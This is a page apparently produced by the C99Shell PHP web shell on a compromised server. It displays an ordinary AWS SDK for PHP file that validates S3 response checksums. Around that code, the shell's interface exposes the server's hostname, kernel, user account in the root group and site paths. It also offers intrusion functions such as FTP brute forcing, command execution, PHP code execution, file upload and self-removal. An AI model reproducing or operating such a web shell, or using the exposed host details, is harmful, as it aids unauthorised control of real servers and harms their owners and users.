!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/S3/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ValidateResponseChecksumParser.php (5.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\S3;

use 
Aws\Api\Parser\AbstractParser;
use 
Aws\Api\Service;
use 
Aws\Api\StructureShape;
use 
Aws\CommandInterface;
use 
Aws\S3\Exception\S3Exception;
use 
Psr\Http\Message\ResponseInterface;
use 
Psr\Http\Message\StreamInterface;

/**
 * @internal Decorates a parser for the S3 service to validate the response checksum.
 */
class ValidateResponseChecksumParser extends AbstractParser
{
    use 
CalculatesChecksumTrait;
    
/**
     * @param callable $parser Parser to wrap.
     */
    
public function __construct(callable $parserService $api)
    {
        
$this->api $api;
        
$this->parser $parser;
    }

    public function 
__invoke(
        
CommandInterface $command,
        
ResponseInterface $response
    
) {
        
$fn $this->parser;
        
$result $fn($command$response);

        
//Skip this middleware if the operation doesn't have an httpChecksum
        
$op $this->api->getOperation($command->getName());
        
$checksumInfo = isset($op['httpChecksum'])
            ? 
$op['httpChecksum']
            : [];
        if (empty(
$checksumInfo)) {
            return 
$result;
        }

        
//Skip this middleware if the operation doesn't send back a checksum, or the user doesn't opt in
        
$checksumModeEnabledMember = isset($checksumInfo['requestValidationModeMember'])
            ? 
$checksumInfo['requestValidationModeMember']
            : 
"";
        
$checksumModeEnabled = isset($command[$checksumModeEnabledMember])
            ? 
$command[$checksumModeEnabledMember]
            : 
"";
        
$responseAlgorithms = isset($checksumInfo['responseAlgorithms'])
            ? 
$checksumInfo['responseAlgorithms']
            : [];
        if (empty(
$responseAlgorithms)
            || 
strtolower($checksumModeEnabled) !== "enabled"
        
) {
            return 
$result;
        }

        if (
extension_loaded('awscrt')) {
            
$checksumPriority = ['CRC32C''CRC32''SHA1''SHA256'];
        } else {
            
$checksumPriority = ['CRC32''SHA1''SHA256'];
        }
        
$checksumsToCheck array_intersect($responseAlgorithms$checksumPriority);
        
$checksumValidationInfo $this->validateChecksum($checksumsToCheck$response);

        if (
$checksumValidationInfo['status'] == "SUCCEEDED") {
            
$result['ChecksumValidated'] = $checksumValidationInfo['checksum'];
        } else if (
$checksumValidationInfo['status'] == "FAILED"){
            
//Ignore failed validations on GetObject if it's a multipart get which returned a full multipart object
            
if ($command->getName() == "GetObject"
                
&& !empty($checksumValidationInfo['checksumHeaderValue'])
            ) {
                
$headerValue $checksumValidationInfo['checksumHeaderValue'];
                
$lastDashPos strrpos($headerValue'-');
                
$endOfChecksum substr($headerValue$lastDashPos 1);
                if (
is_numeric($endOfChecksum)
                    && 
intval($endOfChecksum) > 1
                    
&& intval($endOfChecksum) < 10000) {
                    return 
$result;
                }
            }
            throw new 
S3Exception(
                
"Calculated response checksum did not match the expected value",
                
$command
            
);
        }
        return 
$result;
    }

    public function 
parseMemberFromStream(
        
StreamInterface $stream,
        
StructureShape $member,
        
$response
    
) {
        return 
$this->parser->parseMemberFromStream($stream$member$response);
    }

    
/**
     * @param $checksumPriority
     * @param ResponseInterface $response
     */
    
public function validateChecksum($checksumPriorityResponseInterface $response)
    {
        
$checksumToValidate $this->chooseChecksumHeaderToValidate(
            
$checksumPriority,
            
$response
        
);
        
$validationStatus "SKIPPED";
        
$checksumHeaderValue null;
        if (!empty(
$checksumToValidate)) {
            
$checksumHeaderValue $response->getHeader(
                
'x-amz-checksum-' $checksumToValidate
            
);
            if (isset(
$checksumHeaderValue)) {
                
$checksumHeaderValue $checksumHeaderValue[0];
                
$calculatedChecksumValue $this->getEncodedValue(
                    
$checksumToValidate,
                    
$response->getBody()
                );
                
$validationStatus $checksumHeaderValue == $calculatedChecksumValue
                    
"SUCCEEDED"
                    
"FAILED";
            }
        }
        return [
            
"status" => $validationStatus,
            
"checksum" => $checksumToValidate,
            
"checksumHeaderValue" => $checksumHeaderValue,
        ];
    }

    
/**
     * @param $checksumPriority
     * @param ResponseInterface $response
     */
    
public function chooseChecksumHeaderToValidate(
        
$checksumPriority,
        
ResponseInterface $response
    
) {
        foreach (
$checksumPriority as $checksum) {
            
$checksumHeader 'x-amz-checksum-' $checksum;
            if (
$response->hasHeader($checksumHeader)) {
                return 
$checksum;
            }
        }
        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0244 ]--